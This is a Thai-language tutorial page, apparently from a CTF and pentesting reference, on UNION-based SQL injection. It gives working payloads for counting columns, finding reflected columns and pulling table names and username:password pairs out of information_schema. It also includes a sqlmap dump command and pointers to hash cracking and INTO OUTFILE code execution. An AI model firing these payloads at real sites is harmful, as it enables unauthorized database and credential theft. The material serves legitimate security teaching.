คลัง
web

UNION-based SQLi

UNION-based SQLi ใช้คำสั่ง UNION ต่อผลลัพธ์ของ query ที่เราควบคุมเข้ากับ query เดิม เพื่อดึงข้อมูลออกมาแสดงตรงๆ เป็นเทคนิค in-band ที่เร็วและได้ข้อมูลเยอะที่สุดต่อ request — ใช้ได้เมื่อ output ของ query สะท้อนกลับมาให้เห็นบนหน้าเพจ บทนี้ไล่ตั้งแต่หลักการ การหาจำนวนคอลัมน์ การหาตำแหน่งแสดงผล จนถึง extraction เต็มรูปแบบตามชนิด DB

Intermediate#sqli#union#injection#information-schema#in-band#web#ctf

1. หลักการ

UNION รวมผลลัพธ์ของ SELECT สองชุดเข้าด้วยกันเป็นตารางเดียว เงื่อนไขสำคัญสองข้อ: (1) จำนวนคอลัมน์ต้องเท่ากัน และ (2) ชนิดข้อมูลแต่ละตำแหน่งต้องเข้ากันได้ ดังนั้นแผนคือ หาจำนวนคอลัมน์ก่อน แล้วหาตำแหน่งที่ 'แสดงผลได้' (reflected) เพื่อยัดข้อมูลที่ต้องการลงไป

UNION ต่อ query ของเราเข้ากับ query เดิม
SELECT name,price FROM items UNION SELECT user,pass FROM users คอลัมน์ต้องเท่ากัน (2=2) ผลรวมแสดงบนหน้าเดียว Laptop | 999 admin | 5f4dcc...
UNION-based คือ in-band — ได้ข้อมูลผ่านช่องเดียวกับที่ inject จึงเร็วมาก ถ้า output ไม่สะท้อนกลับให้ดู Error-based (ผ่าน error) หรือ Blind (อนุมานทีละบิต) แทน

2. หาจำนวนคอลัมน์

มีสองวิธีหลัก: ORDER BY (นับจนกว่าจะ error) และ UNION SELECT NULL,... (เพิ่ม NULL จนกว่าจะไม่ error) — วิธีแรกมักเสถียรกว่าเพราะไม่ติดเรื่องชนิดข้อมูล

หาจำนวนคอลัมน์
-- วิธี ORDER BY (เพิ่มเลขจน error)
1 ORDER BY 1-- -     -- OK
1 ORDER BY 2-- -     -- OK
1 ORDER BY 3-- -     -- OK
1 ORDER BY 4-- -     -- ERROR "Unknown column '4'" → มี 3 คอลัมน์

-- วิธี UNION NULL (เพิ่ม NULL จนหายพัง)
1 UNION SELECT NULL-- -                 -- ยัง error
1 UNION SELECT NULL,NULL-- -            -- ยัง error
1 UNION SELECT NULL,NULL,NULL-- -       -- OK → มี 3 คอลัมน์
ใช้ NULL เพราะเข้ากันได้ทุกชนิดข้อมูล ทำให้ตัดปัญหา type mismatch ระหว่างหาจำนวนคอลัมน์

3. หาตำแหน่งแสดงผล (reflected column)

ไม่ใช่ทุกคอลัมน์จะถูกพิมพ์ลงหน้าเพจ ใส่ค่าที่จำง่าย (เลขเรียง หรือ marker) ในแต่ละตำแหน่ง ดูว่าตำแหน่งไหนโผล่มา — นั่นคือช่องที่เราจะยัดข้อมูล

หาช่องที่ reflected
1 UNION SELECT 1,2,3-- -
-- ดูหน้าเพจ: ถ้าเห็นเลข 2 กับ 3 = คอลัมน์ 2,3 แสดงผลได้ (1 ไม่แสดง)

-- ถ้าคอลัมน์ต้องเป็น string เท่านั้น ใช้ marker string
1 UNION SELECT 'aaa','bbb','ccc'-- -
-- ถ้าเจอ type error ให้ลอง NULL คั่นตำแหน่งที่ไม่ใช้:
1 UNION SELECT NULL,'INJ',NULL-- -
บางแอปแสดงแค่แถวแรก — บังคับให้ query เดิมคืน 0 แถวด้วย id ที่ไม่มีจริง (เช่น -1 หรือ 0) เพื่อให้แถวของ UNION โผล่ขึ้นมาแทน
ทริค: ถ้าเพจแสดงแค่แถวเดียว ให้ทำ query เดิมเป็นค่าว่างก่อน เช่น id=-1 UNION SELECT ... หรือ id=0 UNION SELECT ... เพื่อดัน row ของเราขึ้นมาแสดง

4. Extraction เต็มรูปแบบ

  1. 1ระบุ DB/เวอร์ชัน/ผู้ใช้ปัจจุบัน ลงในช่อง reflected
  2. 2ดึงรายชื่อตารางจาก catalog ของ DB
  3. 3ดึงคอลัมน์ของตารางเป้าหมาย
  4. 4ดึงข้อมูลจริง รวมหลายคอลัมน์ด้วย CONCAT + ตัวคั่น
UNION extraction (MySQL) — คอลัมน์ 2 คือช่องแสดงผล
-- ข้อมูลระบบ
1 UNION SELECT 1,version(),3-- -
1 UNION SELECT 1,CONCAT_WS(0x0a,version(),database(),current_user()),3-- -

-- รายชื่อตารางใน DB ปัจจุบัน
1 UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x0a),3
  FROM information_schema.tables WHERE table_schema=database()-- -

-- คอลัมน์ของตาราง users (0x7573657273 = 'users')
1 UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x0a),3
  FROM information_schema.columns WHERE table_name=0x7573657273-- -

-- ดึง credentials (คั่นด้วย ':' = 0x3a)
1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),3 FROM users-- -
GROUP_CONCAT รวมหลายแถวเป็นช่องเดียว — สำคัญเมื่อเพจแสดงได้แถวเดียว
งานMySQLPostgreSQLMSSQLOracle
รวมหลายแถวGROUP_CONCAT()string_agg(c,',')STRING_AGG(c,',')LISTAGG(c,',')
รวมหลายคอลัมน์CONCAT_WS()a||ba+ba||b
ตารางทั้งหมดinformation_schema.tablesinformation_schema.tablesinformation_schema.tablesall_tables
ต้องมี FROMไม่ (มี dual โดยนัย)ไม่ไม่ต้องมี FROM dual
Oracle ทุก SELECT ต้องมี FROM — ใช้ FROM dual เช่น UNION SELECT NULL,banner FROM v$version และ Oracle ใช้ ROWNUM ไม่ใช่ LIMIT

5. ข้อผิดพลาดที่พบบ่อย

  • นับคอลัมน์ผิด → UNION error ทั้งที่ช่องโหว่มีจริง (ยืนยันด้วย ORDER BY ให้ชัด)
  • ใส่ข้อมูล string ในคอลัมน์ที่เป็น numeric → type error (ใช้ NULL คั่น หรือหาช่อง string)
  • เพจแสดงแค่แถวแรก แต่ลืมทำ query เดิมให้คืน 0 แถว (ใช้ id=-1/0)
  • ลืม comment ปิดท้าย → เศษ query เดิมค้างทำให้ syntax พัง
  • Oracle: ลืม FROM dual / ใช้ LIMIT แทน ROWNUM
  • ข้อมูลหลายแถวแต่ไม่ใช้ GROUP_CONCAT → เห็นแถวเดียว

6. Quick Reference

  • ใช้ได้เมื่อ output reflected (in-band) — เร็วสุด ได้เยอะสุดต่อ request
  • หาจำนวนคอลัมน์: ORDER BY n หรือ UNION SELECT NULL,...
  • หาตำแหน่งแสดงผล: UNION SELECT 1,2,3
  • เพจแสดงแถวเดียว → id=-1 UNION ... ดันแถวเราขึ้นมา
  • information_schema.tables/columns = แผนที่ฐานข้อมูล
  • GROUP_CONCAT+0x3a รวมหลายแถว/คอลัมน์ในช่องเดียว
  • output ไม่ reflected → ดู Error-based หรือ Blind SQLi

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอจุดที่ query แสดงผลลัพธ์ตรงๆ บนหน้าเว็บ (เช่น หน้าค้นหา/list สินค้า) และสงสัยว่าน่าจะยัด UNION SELECT ได้ ทำตามนี้ทีละขั้น

  1. 1หาจำนวนคอลัมน์ด้วย ORDER BY 1, ORDER BY 2, ... ไล่จนกว่า response error (แปลว่าคอลัมน์เกินจำนวนจริง)
  2. 2เมื่อรู้จำนวนคอลัมน์ N ยิง UNION SELECT 1,2,...,N-- - ดูว่าตัวเลขไหน 'สะท้อน' ขึ้นจอ (ใช้เลขนั้นแทน username/pass)
  3. 3แทนที่ตำแหน่งที่สะท้อนด้วย @@version, database(), user() ยืนยันว่าดึงข้อมูลออกมาแสดงได้จริง
  4. 4เปลี่ยนไปดึง table_name จาก information_schema.tables where table_schema=database()
  5. 5ดึง column_name จาก information_schema.columns where table_name='users' (หรือชื่อ table ที่เจอ)
  6. 6ดึง username,password ด้วย UNION SELECT username,password FROM users-- - (ใช้ GROUP_CONCAT รวมหลายแถวในคอลัมน์เดียวถ้าจำเป็น)
  7. 7ถ้า UNION ไม่ทำงาน (type ของคอลัมน์ไม่ตรง) ลองใส่ NULL แทนตัวเลขในคอลัมน์ที่ type ไม่ match
  8. 8ถ้ายังไม่ได้ ลองใช้ sqlmap -r req.txt --batch --technique=U --dump ให้อัตโนมัติแทน
Master flow — ดึงข้อมูลผ่าน UNION SELECT ทีละขั้น
หาจำนวนคอลัมน์ด้วย ORDER BY 1,2,3,... จน error
เจอจำนวนคอลัมน์ที่แน่นอนไหม (error โผล่ตอน N+1)?
✅ เจอ N คอลัมน์ชัด→ ไปหาตำแหน่งสะท้อนต่อ
❌ error ตั้งแต่ ORDER BY 1→ UNION ใช้ไม่ได้ตรงๆ
ยิง UNION SELECT 1,2,...,N-- - ดูตัวเลขที่สะท้อนบนจอ
มีตัวเลขที่สะท้อนขึ้นจอไหม?
✅ เจอตำแหน่งสะท้อน→ แทนด้วยฟังก์ชันดึงข้อมูลได้เลย
❌ ไม่มีเลย (type mismatch)→ ลอง NULL แทนตัวเลขก่อน
ลองแทนตัวเลขด้วย NULL ทีละคอลัมน์จนกว่าจะไม่ error (แก้ type mismatch)
เจอตำแหน่งสะท้อนแล้ว → แทนด้วย @@version,database(),user() ยืนยัน แล้วไล่ information_schema ดึง table/column
ดึง table_name จาก information_schema.tables แล้วดึง column_name แล้ว UNION SELECT ข้อมูลจริง (username,password)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หาจำนวนคอลัมน์Burp Repeater / curlalready in Kali-
ดึงข้อมูลอัตโนมัติsqlmap (--technique=U)already in Kali-
เขียน/encode payload ซับซ้อน--CyberChef
เรียนรู้ lab UNION attack--portswigger web security academy
crack hash ที่ dump ได้hashcat / johnalready in Kalicrackstation.net
เทียบ syntax concat/GROUP_CONCAT ของแต่ละ DBMS--dcode.fr
ทดสอบ payload มือcurlalready in Kali-
🚑 ถ้าตันสนิท ลองท่าถัดไป: blind-sqli ถ้า UNION ไม่ทำงานเพราะ output ไม่สะท้อนเลย, error-sqli ถ้าเจอ error message ที่ดึงข้อมูลผ่านมันได้เลยแทน, time-based-sqli ถ้าทุกอย่างเงียบไม่มีอะไรสะท้อน ต้องจับเวลาแทน, hash-cracking เมื่อ dump hash ได้แล้ว, command-injection ถ้า DB มีสิทธิ์ INTO OUTFILE เขียนไฟล์ยิง RCE ต่อ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้